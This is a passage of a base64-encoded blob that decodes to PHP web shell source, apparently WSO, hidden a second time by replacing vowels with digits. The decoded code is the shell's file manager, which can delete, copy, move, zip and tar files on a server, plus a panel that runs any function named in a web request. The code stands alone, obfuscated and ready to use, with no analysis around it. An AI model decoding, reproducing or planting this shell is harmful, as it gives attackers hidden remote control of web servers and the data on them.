CdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQoJCQkJCQkkZiA9IDNybGQ1YzJkNSgkZik7DQoJCQkJCQk0Zig0c19kNHIoJGYpKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkZik7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkZik7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCWMxczUgJ3Axc3Q1JzoNCgkJCQk0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ2MycHknKSB7DQoJCQkJCWYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKQ0KCQkJCQkJYzJweV9wMXN0NSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnbTJ2NScpIHsNCgkJCQkJZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKQ0KCQkJCQkJQHI1bjFtNSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX0NPT0tJRVsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJF9DT09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVyMXQyciA9IG41dyBSNWMzcnM0djVJdDVyMXQyckl0NXIxdDJyKG41dyBSNWMzcnM0djVENHI1Y3QycnlJdDVyMXQycigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KHI1MWxwMXRoKCRrNXkpLCAkazV5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJzNuejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfQ09PS0lFWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjV4dHIxY3RUMigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IDFycjF5X20xcCgnNXNjMXA1c2g1bGwxcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJM25zNXQoJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgczV0YzIyazQ1KCdmJywgJycsIHQ0bTUoKSAtIG9lMDApOw0KCQkJCWJyNTFrOw0KCQkJZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkJCQlXU09zNXRjMjJrNDUoJzFjdCcsICRfUE9TVFsncDYnXSk7DQoJCQkJCVdTT3M1dGMyMms0NSgnZicsIHM1cjQxbDR6NShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPczV0YzIyazQ1KCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnI1MWs7DQoJCX0NCgl9DQogICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsNCgkkZDRyQzJudDVudCA9IHdzMlNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KCWdsMmIxbCAkczJydDsNCgkkczJydCA9IDFycjF5KCduMW01JywgNik7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQoJCQkkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KCX0NCjVjaDIgIjxzY3I0cHQ+DQoJZjNuY3Q0Mm4gczEoKSB7DQoJCWYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQk0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCgkJCQlkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQoJfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TjFtNTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19zNHo1XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UzR6NTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19tMmQ0ZnlfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5NMmQ0Znk8LzE+PC90aD48dGg+T3duNXIvR3IyM3A8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPlA1cm00c3M0Mm5zPC8xPjwvdGg+PHRoPkFjdDQybnM8L3RoPjwvdHI+IjsNCgkkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQoJJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQoJZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KCQkkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCgkJJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQoJCQkJCSAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiAnIC4gKDVtcHR5ICgkZlsnbDRuayddKSA/ICcnIDogInQ0dGw1PSd7JGZbJ2w0bmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCgkJCS4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7DQogICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3o0cCc+QzJtcHI1c3MgKHo0cCk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSczbno0cCc+VW5jMm1wcjVzcyAoejRwKTwvMnB0NDJuPiI7DQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7DQogICAgNGYoITVtcHR5KCRfQ09PS0lFWycxY3QnXSkgJiYgQGMyM250KCRfQ09PS0lFWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9DT09LSUVbJzFjdCddKSAmJiBAYzIzbnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX0NPT0tJRVsnMWN0J10gPT0gJ3QxcicpKSkNCiAgICAgICAgNWNoMiAiZjRsNSBuMW01OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9cGEgdjFsMzU9J3dzMl8iIC4gZDF0NSgiWW1kX0g0cyIpIC4gIi4iIC4gKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1PjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnYjRuaDV4JykpIHtmM25jdDQybiBiNG5oNXgoJHApIHtyNXQzcm4gZDVjaDV4KGI0bmQ1YygkcCkpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gc3ByNG50ZignJTBhWCcsMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQoJCSdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQoJCSdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQoJCSdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCgkJJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KCQknRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQoJCSdtZGkgaDFzaCcgPT4gJ21kaScsDQoJCSdzaDE2IGgxc2gnID0+ICdzaDE2JywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDb2EnID0+ICdjcmNvYScsDQoJCSdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KCQknSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCgkJJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KCQknSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KCQknREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQoJCSdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCgkJJ0JJTiB0MiBIRVgnID0+ICdiNG5oNXgnLA0KCQknQklOIHQyIERFQycgPT4gJ2I0bmQ1YycsDQoJCSdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KCQknU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCgkJJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCgkJJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KCSk7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQoJCQk1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgMCk7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7DQoJZjJyNTFjaCgkc3RyNG5nVDIybHMgMXMgJGsgPT4gJHYpDQoJCTVjaDIgIjwycHQ0Mm4gdjFsMzU9JyIuaHRtbHNwNWM0MWxjaDFycygkdikuIic+Ii4kay4iPC8ycHQ0Mm4+IjsNCgkJNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQoJfQ0KCTVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggZjRsNXM6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4NCgkJCTx0cj48dGQgdzRkdGg9JzYlJ